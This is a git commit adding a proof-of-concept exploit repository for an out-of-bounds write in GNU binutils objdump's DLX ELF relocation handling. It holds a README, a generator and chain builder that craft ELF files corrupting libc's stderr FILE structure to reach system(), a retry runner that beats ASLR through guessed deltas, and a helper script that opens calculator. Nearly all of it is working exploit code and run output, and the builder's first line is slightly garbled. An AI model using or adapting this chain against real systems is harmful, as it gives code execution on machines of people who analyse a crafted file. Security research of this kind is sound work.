Upload files to "objdump-dlx-calc-poc"
This commit is contained in:
@@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log
|
||||
/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 &
|
||||
exit 0
|
||||
@@ -0,0 +1,158 @@
|
||||
As mentioned before, https://github.com/4D4J/objdump-Out-Of-Bounds-write beat me to this finding. Please support his repo. He deserves it, great PoC with FULL ASLR bypass
|
||||
|
||||
# objdump dlx calc poc
|
||||
|
||||
Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend.
|
||||
|
||||
This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator.
|
||||
|
||||
Tested against a binutils-gdb master build from commit:
|
||||
|
||||
```text
|
||||
c311f4d37f31ff3fbb5db6923abcdf93bb75a37b
|
||||
```
|
||||
|
||||
Also validated against the official GNU Binutils 2.46.1 release tarball with a
|
||||
clean `dlx-elf` objdump build:
|
||||
|
||||
```text
|
||||
GNU objdump (GNU Binutils) 2.46.1
|
||||
elf32-dlx
|
||||
```
|
||||
|
||||
## whats in here
|
||||
|
||||
- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump`
|
||||
- `payloads/*.notes` - notes for each generated payload variant
|
||||
- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL
|
||||
- `run_dlx_calc_poc.sh` - tries the payload variants until one hits
|
||||
- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants
|
||||
- `dlx_chain_builder.py` - small builder used by the generator
|
||||
- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent
|
||||
- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms
|
||||
- `tools/aslr_delta_coverage.py` - lists the libc low-32 delta coverage used by the generator
|
||||
|
||||
The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX.
|
||||
|
||||
## why there are multiple payloads
|
||||
|
||||
ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing.
|
||||
|
||||
The generator emits the original profile, a WSL/Ubuntu 24.04 profile measured
|
||||
against the pinned `dlx-elf` build, and a profile measured against a clean GNU
|
||||
Binutils 2.46.1 `dlx-elf` build. The profiles keep ASLR on but use stable
|
||||
relative offsets observed in the target process:
|
||||
|
||||
```text
|
||||
layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
buf_delta=0x702fff00 or 0x6f300000
|
||||
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff
|
||||
|
||||
layout=gnu2461 off_io=-0x3690 off_sec=0xbb8 rbase=0x190 sec_size_offset=0x40
|
||||
buf_delta=0x702fff00 or 0x6f300000
|
||||
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff
|
||||
```
|
||||
|
||||
That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. The six `system_delta` values cover every page-aligned low-32-bit libc base for the documented `_IO_2_1_stderr_` and `system` offsets. A miss can still happen if the heap/libio profile or libc build does not match, so the runner keeps the retry loop.
|
||||
|
||||
More detail is in `docs/aslr-bypass-analysis.md`.
|
||||
|
||||
The expanded `gnu2461` profile was validated with the existing runner against a
|
||||
clean GNU Binutils 2.46.1 `dlx-elf` objdump build:
|
||||
|
||||
```text
|
||||
HIT try=1 payload=payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s7042e500.bin
|
||||
CALC_HELPER_RAN 2026-06-25T11:19:07Z
|
||||
```
|
||||
|
||||
A ten-run one-sweep stability pass against the same clean build also hit every
|
||||
run:
|
||||
|
||||
```text
|
||||
hits=10/10
|
||||
CALC_HELPER_RAN 2026-06-25T11:19:31Z
|
||||
```
|
||||
|
||||
So a plain crash like this does not always mean the PoC failed:
|
||||
|
||||
```text
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line.
|
||||
|
||||
## quick run
|
||||
|
||||
From WSL:
|
||||
|
||||
```bash
|
||||
cd /path/to/objdump-dlx-calc-poc
|
||||
chmod +x P
|
||||
export PATH="$PWD:$PATH"
|
||||
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
|
||||
cat calc_hit.log
|
||||
```
|
||||
|
||||
Example with a local binutils build:
|
||||
|
||||
```bash
|
||||
MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump
|
||||
```
|
||||
|
||||
## manual run without the helper loop
|
||||
|
||||
If you want to do the same thing by hand and keep ASLR on:
|
||||
|
||||
```bash
|
||||
cd /path/to/objdump-dlx-calc-poc
|
||||
chmod +x P
|
||||
export PATH="$PWD:$PATH"
|
||||
rm -f calc_hit.log
|
||||
|
||||
for p in payloads/*.bin; do
|
||||
echo "$p"
|
||||
/path/to/objdump -g "$p" >/dev/null 2>&1 || true
|
||||
if [ -s calc_hit.log ]; then
|
||||
echo "HIT $p"
|
||||
cat calc_hit.log
|
||||
break
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
Same thing as a one-liner:
|
||||
|
||||
```bash
|
||||
rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done
|
||||
```
|
||||
|
||||
## regenerating payloads
|
||||
|
||||
```bash
|
||||
rm -rf payloads
|
||||
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads
|
||||
```
|
||||
|
||||
The runner will also regenerate `payloads/` automatically if the folder is missing or empty.
|
||||
|
||||
## what the bug is doing
|
||||
|
||||
At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`.
|
||||
|
||||
That is why `PATH` matters. The helper is run by name, so this line is needed:
|
||||
|
||||
```bash
|
||||
export PATH="$PWD:$PATH"
|
||||
```
|
||||
|
||||
Without it, you can still get the segfault, but the helper might not be found.
|
||||
|
||||
## cleanup
|
||||
|
||||
Runtime files are not needed:
|
||||
|
||||
```bash
|
||||
rm -f calc_hit.log objdump-poc.out
|
||||
```
|
||||
|
||||
The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.
|
||||
@@ -0,0 +1,328 @@
|
||||
#!/usr/bin/env pythoimport argparse
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
EM_DLX = 0x5AA5
|
||||
R_DLX_PCREL26 = 9
|
||||
R_DLX_RELOC_32 = 3
|
||||
MASK26 = 0x03FFFFFF
|
||||
|
||||
|
||||
def p16(v):
|
||||
return struct.pack(">H", v & 0xFFFF)
|
||||
|
||||
|
||||
def p32(v):
|
||||
return struct.pack(">I", v & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def strtab(strings):
|
||||
blob = b"\x00"
|
||||
offsets = {"": 0}
|
||||
for s in strings:
|
||||
if s and s not in offsets:
|
||||
offsets[s] = len(blob)
|
||||
blob += s.encode("ascii") + b"\x00"
|
||||
return blob, offsets
|
||||
|
||||
|
||||
def sym(name, value, size, info, shndx):
|
||||
return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx)
|
||||
|
||||
|
||||
def build_elf(debug_size, relocs):
|
||||
di = b"\x00" * debug_size
|
||||
tx = b"\x00" * 4
|
||||
sec_names = [
|
||||
".text",
|
||||
".debug_info",
|
||||
".rel.debug_info",
|
||||
".symtab",
|
||||
".strtab",
|
||||
".shstrtab",
|
||||
]
|
||||
shstr, shoff = strtab(sec_names)
|
||||
names = [f"s{i}" for i in range(len(relocs))]
|
||||
str_blob, stroff = strtab(names)
|
||||
|
||||
symtab = b""
|
||||
symtab += sym(0, 0, 0, 0, 0)
|
||||
symtab += sym(0, 0, 0, 0x03, 1)
|
||||
symtab += sym(0, 0, 0, 0x03, 2)
|
||||
for i, reloc in enumerate(relocs):
|
||||
_offset, value = reloc[:2]
|
||||
symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2)
|
||||
|
||||
rb = b""
|
||||
for i, reloc in enumerate(relocs):
|
||||
offset, _value = reloc[:2]
|
||||
r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26
|
||||
r_info = ((3 + i) << 8) | r_type
|
||||
rb += p32(offset) + p32(r_info)
|
||||
|
||||
o = 52
|
||||
text_off = o
|
||||
o += len(tx)
|
||||
debug_off = o
|
||||
o += len(di)
|
||||
rel_off = o
|
||||
o += len(rb)
|
||||
sym_off = o
|
||||
o += len(symtab)
|
||||
str_off = o
|
||||
o += len(str_blob)
|
||||
shstr_off = o
|
||||
o += len(shstr)
|
||||
shdr_off = o
|
||||
|
||||
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
|
||||
return (
|
||||
p32(name)
|
||||
+ p32(stype)
|
||||
+ p32(flags)
|
||||
+ p32(0)
|
||||
+ p32(offset)
|
||||
+ p32(size)
|
||||
+ p32(link)
|
||||
+ p32(info)
|
||||
+ p32(align)
|
||||
+ p32(entsize)
|
||||
)
|
||||
|
||||
hdrs = b""
|
||||
hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0)
|
||||
hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0)
|
||||
hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0)
|
||||
hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8)
|
||||
hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16)
|
||||
hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0)
|
||||
hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0)
|
||||
|
||||
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8
|
||||
ehdr = (
|
||||
ident
|
||||
+ p16(1)
|
||||
+ p16(EM_DLX)
|
||||
+ p32(1)
|
||||
+ p32(0)
|
||||
+ p32(0)
|
||||
+ p32(shdr_off)
|
||||
+ p32(0)
|
||||
+ p16(52)
|
||||
+ p16(0)
|
||||
+ p16(0)
|
||||
+ p16(40)
|
||||
+ p16(7)
|
||||
+ p16(6)
|
||||
)
|
||||
return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs
|
||||
|
||||
|
||||
def decode_dlx_vallo(low26):
|
||||
low26 &= MASK26
|
||||
if low26 & 0x03000000:
|
||||
return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF
|
||||
return low26
|
||||
|
||||
|
||||
def low26_to_signed(low26):
|
||||
low26 &= MASK26
|
||||
if low26 & 0x02000000:
|
||||
return low26 - 0x04000000
|
||||
return low26
|
||||
|
||||
|
||||
def word_to_low26(word):
|
||||
return word & MASK26
|
||||
|
||||
|
||||
def symbol_for_low26(current_word, final_low26):
|
||||
final_low26 &= MASK26
|
||||
signed_final = low26_to_signed(final_low26)
|
||||
if signed_final == -0x02000000:
|
||||
raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000")
|
||||
vallo = decode_dlx_vallo(word_to_low26(current_word))
|
||||
return (vallo + signed_final) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def encodable_low26(final_low26):
|
||||
return (final_low26 & MASK26) != 0x02000000
|
||||
|
||||
|
||||
def apply_dlx_word(memory, offset, symbol_value):
|
||||
cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big")
|
||||
vallo = decode_dlx_vallo(cur & MASK26)
|
||||
val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF
|
||||
if val & 0x80000000:
|
||||
val_signed = val - 0x100000000
|
||||
else:
|
||||
val_signed = val
|
||||
if abs(val_signed) > 0x01FFFFFF:
|
||||
raise ValueError(f"relocation would be out of range: {val_signed:#x}")
|
||||
new_word = (cur & 0xFC000000) | (val_signed & MASK26)
|
||||
memory[offset : offset + 4] = new_word.to_bytes(4, "big")
|
||||
|
||||
|
||||
class ChainBuilder:
|
||||
def __init__(self, debug_size, rbase, memory_base, memory):
|
||||
self.debug_size = debug_size
|
||||
self.rbase = rbase
|
||||
self.memory_base = memory_base
|
||||
self.memory = bytearray(memory)
|
||||
self.relocs = []
|
||||
self.notes = []
|
||||
self._initialized_addresses = set()
|
||||
|
||||
def _mem_index(self, target):
|
||||
idx = target - self.memory_base
|
||||
if idx < 0 or idx + 4 > len(self.memory):
|
||||
raise ValueError(f"target {target:#x} outside modeled memory")
|
||||
return idx
|
||||
|
||||
def _raw_reloc(self, offset, symbol_value, note):
|
||||
idx = len(self.relocs)
|
||||
self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF))
|
||||
self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note))
|
||||
self._set_address_field(idx, offset & 0xFFFFFFFF)
|
||||
return idx
|
||||
|
||||
def add_pi32_reloc(self, target, delta, note):
|
||||
actual_idx = len(self.relocs) + (2 if target < 0 else 0)
|
||||
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
if target < 0:
|
||||
self._patch_negative_address_for_index(actual_idx)
|
||||
idx = len(self.relocs)
|
||||
self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32))
|
||||
self.notes.append((idx, target, delta & 0xFFFFFFFF, note))
|
||||
self._set_address_field(idx, target & 0xFFFFFFFF)
|
||||
mem_idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big")
|
||||
new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF
|
||||
self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big")
|
||||
|
||||
def _set_address_field(self, reloc_idx, address):
|
||||
if reloc_idx in self._initialized_addresses:
|
||||
return
|
||||
field = self.rbase + reloc_idx * 32 + 8
|
||||
mem_idx = field - self.memory_base
|
||||
if 0 <= mem_idx and mem_idx + 8 <= len(self.memory):
|
||||
self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little")
|
||||
self._initialized_addresses.add(reloc_idx)
|
||||
|
||||
def _positive_write_low26(self, target, final_low26, note):
|
||||
idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
|
||||
symv = symbol_for_low26(cur, final_low26)
|
||||
self._raw_reloc(target, symv, note)
|
||||
apply_dlx_word(self.memory, idx, symv)
|
||||
|
||||
def _patch_negative_address_for_index(self, actual_idx):
|
||||
h = self.rbase + actual_idx * 32 + 12
|
||||
self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2")
|
||||
self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3")
|
||||
|
||||
def write_low26(self, target, final_low26, note):
|
||||
if target < 0:
|
||||
actual_idx = len(self.relocs) + 2
|
||||
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
self._patch_negative_address_for_index(actual_idx)
|
||||
self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation")
|
||||
idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
|
||||
symv = symbol_for_low26(cur, final_low26)
|
||||
self.relocs[-1] = (target & 0xFFFFFFFF, symv)
|
||||
self.notes[-1] = (actual_idx, target, symv, note)
|
||||
apply_dlx_word(self.memory, idx, symv)
|
||||
else:
|
||||
self._positive_write_low26(target, final_low26, note)
|
||||
|
||||
def write_bytes4(self, target, data):
|
||||
if len(data) != 4:
|
||||
raise ValueError("write_bytes4 needs exactly 4 bytes")
|
||||
prior_idx = self._mem_index(target - 1)
|
||||
prior_low2 = self.memory[prior_idx] & 3
|
||||
low_a = (
|
||||
(prior_low2 << 24)
|
||||
| (data[0] << 16)
|
||||
| (data[1] << 8)
|
||||
| data[2]
|
||||
)
|
||||
low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
|
||||
if encodable_low26(low_a) and encodable_low26(low_b):
|
||||
self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}")
|
||||
self.write_low26(target, low_b, f"finish write bytes at {target:#x}")
|
||||
return
|
||||
|
||||
tail_idx = self._mem_index(target + 2)
|
||||
tail_low2 = self.memory[tail_idx] & 3
|
||||
for filler in range(0x10000):
|
||||
low_tail = (tail_low2 << 24) | (data[3] << 16) | filler
|
||||
if encodable_low26(low_tail) and encodable_low26(low_a):
|
||||
self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}")
|
||||
self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}")
|
||||
return
|
||||
raise ValueError(f"no DLX byte decomposition for target {target:#x}")
|
||||
|
||||
|
||||
def parse_hex_bytes(value):
|
||||
value = value.replace(" ", "").replace(":", "")
|
||||
if len(value) % 2:
|
||||
raise argparse.ArgumentTypeError("hex byte string must have an even length")
|
||||
return bytes.fromhex(value)
|
||||
|
||||
|
||||
def parse_write(spec):
|
||||
off, data = spec.split(":", 1)
|
||||
return int(off, 0), parse_hex_bytes(data)
|
||||
|
||||
|
||||
def parse_patch(spec):
|
||||
off, data = spec.split(":", 1)
|
||||
return int(off, 0), parse_hex_bytes(data)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--debug-size", type=int, default=144)
|
||||
parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True)
|
||||
parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True)
|
||||
parser.add_argument("--memory-hex", type=parse_hex_bytes)
|
||||
parser.add_argument("--memory-size", type=lambda x: int(x, 0))
|
||||
parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[])
|
||||
parser.add_argument("--write4", action="append", type=parse_write, required=True)
|
||||
parser.add_argument("--out", type=Path, required=True)
|
||||
parser.add_argument("--notes", type=Path)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.memory_hex is None:
|
||||
if args.memory_size is None:
|
||||
parser.error("either --memory-hex or --memory-size is required")
|
||||
memory = bytearray(args.memory_size)
|
||||
else:
|
||||
memory = bytearray(args.memory_hex)
|
||||
if args.memory_size is not None and args.memory_size > len(memory):
|
||||
memory.extend(b"\x00" * (args.memory_size - len(memory)))
|
||||
|
||||
for off, data in args.patch_mem:
|
||||
idx = off - args.memory_base
|
||||
if idx < 0 or idx + len(data) > len(memory):
|
||||
parser.error(f"--patch-mem offset {off:#x} outside modeled memory")
|
||||
memory[idx : idx + len(data)] = data
|
||||
|
||||
builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory)
|
||||
for target, data in args.write4:
|
||||
builder.write_bytes4(target, data)
|
||||
|
||||
args.out.write_bytes(build_elf(args.debug_size, builder.relocs))
|
||||
print(args.out.resolve())
|
||||
print(f"relocations={len(builder.relocs)}")
|
||||
if args.notes:
|
||||
lines = []
|
||||
for idx, target, symv, note in builder.notes:
|
||||
lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}")
|
||||
args.notes.write_text("\n".join(lines) + "\n", encoding="ascii")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,177 @@
|
||||
import argparse
|
||||
import importlib.util
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
|
||||
builder_mod = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(builder_mod)
|
||||
|
||||
R_DLX_NONE = 0
|
||||
R_DLX_RELOC_16 = 2
|
||||
|
||||
EXPECTED_RELOCS = 25
|
||||
DEBUG_SIZE = 144
|
||||
|
||||
OFF_IO = -0x46A0
|
||||
OFF_SEC = 0xB20
|
||||
RBASE = 0x1F0
|
||||
|
||||
FILE_FLAGS = OFF_IO
|
||||
FILE_BUF_BASE = OFF_IO + 0x20
|
||||
FILE_SYSTEM_SLOT = OFF_IO + 0x68
|
||||
FILE_WIDE_DATA = OFF_IO + 0xA0
|
||||
FILE_VTABLE = OFF_IO + 0xD8
|
||||
SECTION_SIZE_LOW = OFF_SEC + 0x38
|
||||
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
|
||||
|
||||
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
|
||||
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
|
||||
STDERR_TO_SYSTEM_BE32_DELTAS = (
|
||||
0x7042E500,
|
||||
0x6F42E600,
|
||||
0x7043E4FF,
|
||||
0x6F43E5FF,
|
||||
0x7043E5FF,
|
||||
0x6F43E6FF,
|
||||
)
|
||||
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
|
||||
|
||||
LAYOUTS = (
|
||||
{
|
||||
"name": "orig",
|
||||
"off_io": OFF_IO,
|
||||
"off_sec": OFF_SEC,
|
||||
"sec_size_offset": 0x38,
|
||||
"rbase": RBASE,
|
||||
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
|
||||
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
||||
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
||||
},
|
||||
{
|
||||
"name": "wsl2404",
|
||||
"off_io": -0x3690,
|
||||
"off_sec": 0xBB0,
|
||||
"sec_size_offset": 0x38,
|
||||
"rbase": 0x220,
|
||||
"buf_deltas": (0x702FFF00, 0x6F300000),
|
||||
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
||||
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
||||
},
|
||||
{
|
||||
"name": "gnu2461",
|
||||
"off_io": -0x3690,
|
||||
"off_sec": 0xBB8,
|
||||
"sec_size_offset": 0x40,
|
||||
"rbase": 0x190,
|
||||
"buf_deltas": (0x702FFF00, 0x6F300000),
|
||||
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
||||
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def add_pi16_reloc(chain, target, delta, note):
|
||||
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
|
||||
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
if target < 0:
|
||||
chain._patch_negative_address_for_index(actual_idx)
|
||||
idx = len(chain.relocs)
|
||||
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
|
||||
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
|
||||
chain._set_address_field(idx, target & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def base_memory(flag_byte4, off_io, off_sec, rbase):
|
||||
memory_base = off_io - 0x100
|
||||
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
|
||||
memory = bytearray(memory_end - memory_base)
|
||||
flags_idx = off_io - memory_base
|
||||
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
|
||||
return memory_base, memory
|
||||
|
||||
|
||||
def build(out_dir):
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
outputs = []
|
||||
for layout in LAYOUTS:
|
||||
off_io = layout["off_io"]
|
||||
off_sec = layout["off_sec"]
|
||||
rbase = layout["rbase"]
|
||||
file_flags = off_io
|
||||
file_buf_base = off_io + 0x20
|
||||
file_system_slot = off_io + 0x68
|
||||
file_wide_data = off_io + 0xA0
|
||||
file_vtable = off_io + 0xD8
|
||||
section_size_low = off_sec + layout["sec_size_offset"]
|
||||
section_size_high = section_size_low + 4
|
||||
|
||||
for flag_byte4 in (0x05, 0x06):
|
||||
for buf_delta in layout["buf_deltas"]:
|
||||
for wide_delta in layout["wide_deltas"]:
|
||||
for system_delta in layout["system_deltas"]:
|
||||
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
|
||||
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
|
||||
|
||||
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
|
||||
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
|
||||
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
|
||||
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
|
||||
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
|
||||
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
|
||||
add_pi16_reloc(
|
||||
chain,
|
||||
file_vtable,
|
||||
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
|
||||
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
|
||||
)
|
||||
|
||||
while len(chain.relocs) < EXPECTED_RELOCS:
|
||||
chain.relocs.append((0, 0, R_DLX_NONE))
|
||||
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
|
||||
if len(chain.relocs) != EXPECTED_RELOCS:
|
||||
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
|
||||
|
||||
name = (
|
||||
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
|
||||
f"b{buf_delta:08x}_s{system_delta:08x}"
|
||||
)
|
||||
out = out_dir / f"{name}.bin"
|
||||
notes = out_dir / f"{name}.notes"
|
||||
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
|
||||
notes.write_text(
|
||||
"\n".join(
|
||||
[
|
||||
f"layout={layout['name']}",
|
||||
f"flag_byte4=0x{flag_byte4:02x}",
|
||||
f"buf_delta=0x{buf_delta:08x}",
|
||||
f"wide_delta=0x{wide_delta:08x}",
|
||||
f"system_delta=0x{system_delta:08x}",
|
||||
"command=P",
|
||||
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
|
||||
f"sec_size_offset={layout['sec_size_offset']:#x}",
|
||||
"",
|
||||
]
|
||||
+ [
|
||||
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
|
||||
for idx, target, symv, note in chain.notes
|
||||
]
|
||||
)
|
||||
+ "\n",
|
||||
encoding="ascii",
|
||||
)
|
||||
outputs.append(out)
|
||||
return outputs
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
|
||||
args = ap.parse_args()
|
||||
for out in build(args.out_dir):
|
||||
print(out.resolve())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env bash
|
||||
set -u
|
||||
|
||||
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
OUT_DIR="${2:-$BASE_DIR/payloads}"
|
||||
MAX_TRIES="${MAX_TRIES:-50}"
|
||||
|
||||
if [ "$#" -lt 1 ]; then
|
||||
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
OBJ="$1"
|
||||
|
||||
if [ ! -x "$OBJ" ]; then
|
||||
echo "objdump not executable: $OBJ" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
|
||||
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
|
||||
fi
|
||||
|
||||
cd "$BASE_DIR" || exit 2
|
||||
export PATH="$BASE_DIR:$PATH"
|
||||
rm -f "$BASE_DIR/calc_hit.log"
|
||||
|
||||
for try in $(seq 1 "$MAX_TRIES"); do
|
||||
for payload in "$OUT_DIR"/*.bin; do
|
||||
python3 -c 'import subprocess, sys
|
||||
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
|
||||
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
|
||||
echo "HIT try=$try payload=$payload"
|
||||
exit 0
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
echo "MISS after $MAX_TRIES sweeps" >&2
|
||||
exit 1
|
||||
Reference in New Issue
Block a user